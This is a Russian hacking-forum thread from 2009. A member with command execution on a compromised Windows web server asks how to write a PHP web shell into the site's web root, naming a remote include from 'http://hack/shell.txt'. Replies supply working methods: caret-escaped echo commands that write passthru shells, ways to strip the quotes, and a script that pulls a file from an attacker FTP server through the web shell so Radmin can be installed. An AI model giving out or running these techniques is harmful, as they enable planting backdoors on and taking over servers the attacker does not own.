cmd????

Discussion in 'Уязвимости' started by fly, 6 Feb 2009.

  1. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    Вопрос такой!
    Есть доступ к командной строке на win сервере , через cmd могу выполнять команды , хотел создать файл Php и впихнуть , синтаксис такой

    так создается
    echo test > "D:\Website\WWW\1.php"


    если так вообще ничего не создается
    echo <?php passthru $cmd?> > "D:\Website\WWW\1.php"

    если так ,создается, но с кавычками
    echo "<?php passthru $cmd?>" > "D:\Website\WWW\1.php"

    т.е. на выходе получаю "<?php passthru $cmd?>"
    Php на серваке есть!

    Как добавить Php код , чтобы он выполнялся!?Желательно <?@include('http://hack/shell.txt');?>

    p.s. ftp не предлагать , tftp тоже, не прокатит,Фаер фильтрут выход.!!!
     
    #1 fly, 6 Feb 2009
    Last edited: 6 Feb 2009
  2. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    как выйти именно из этой ситуации я хз..
    Попробуй поднять фтп и передать шел =)
     
  3. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    gold-goblin

    Да не да типичная ситуация, попробуй на своем компе локально создать файл и передать ему php код. Я просто не знаю точного синтаксиса на win
     
  4. Brain explosion

    Joined:
    30 Jan 2009
    Messages:
    17
    Likes Received:
    6
    Reputations:
    0
    нах тебе php-шелл, если у тебя уже cmd-шелл?
     
  5. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    edit D:\Website\WWW\1.php
     
    1 person likes this.
  6. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    а чем кавычки мешают ? он и с ними будет нормально интерпретироваться.
     
  7. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    to geezer.code

    нет белый фон ""

    а в исходники страницы "<?phpinfo();?>"

    вообще не в тему Pashkela
     
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    почему? У меня работает

    сначала залил, точно как ты, а потом edit и убираешь кавычки
     
  9. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    )))это локально)) , а у меня через сплоит перловый!
     
  10. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    а ты сделай "<?php phpinfo();?>" обязательно - php
    проверил локально, работает.

    "<?phpinfo();?>" тоже выводит "" :)
     
    #10 geezer.code, 6 Feb 2009
    Last edited: 6 Feb 2009
    2 people like this.
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Тогда так:

    echo ^<?php passthru $cmd?^> > "D:\Website\WWW\1.php"
     
    3 people like this.
  12. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Создай сначала сам файл: echo > 1.php
    Затем отредакти его: edit > 1.php
    и впиши свой код, затем сохрани и все)
     
  13. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    просто сервак глюченый , ничего не получилось)!
     
  14. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    смотри за пробелами!!!
    <? phpinfo(); ?>

    попробуй так еще:
    эхом создаешь файл с кавычками, через more - попробуй их убрать потом.
    ну а если сделаешь вместо кавычек табуляцию, то потом:
    more /T1 file.php
     
  15. fly

    fly Member

    Joined:
    15 Apr 2007
    Messages:
    584
    Likes Received:
    95
    Reputations:
    -10
    что там с правами
    ибо в той дире де бажный скрипт работает php

    В чем может быть дело еще?
     
  16. schwarze

    schwarze Member

    Joined:
    1 Dec 2008
    Messages:
    64
    Likes Received:
    38
    Reputations:
    5
    У меня была подобная ситуация. У меня был шел вида <?php system(cmd) ?>. Вся проблема состоит в том, что тебе дает выполнять только одну команду. И команда edit ничего не даст. Решение было такое - так как "сервак" виндовый - можно залить Radmin и уже спомощью него можно делать что угодно.
    Залить лучше всего через ФТП. команды такие
    Code:
    echo open ТВОЙ_FTP>go
    echo binary >>go
    echo get файл>go
    ....
    echo bye>go
    Запускать потом (ftp анонимный)
    site.com/shell.php?cmd=ftp -A -s:go
    
     
  17. none222

    none222 Guest

    Reputations:
    0
    .................../>  フ.....................
         |  _  _|
         /`ミ _x 彡
         /      |
        /  ヽ   ノ
     / ̄|   | | |
     | ( ̄ヽ__ヽ_)_)
     \二つ
     
    #17 none222, 17 Feb 2009
    Last edited by a moderator: 6 Nov 2020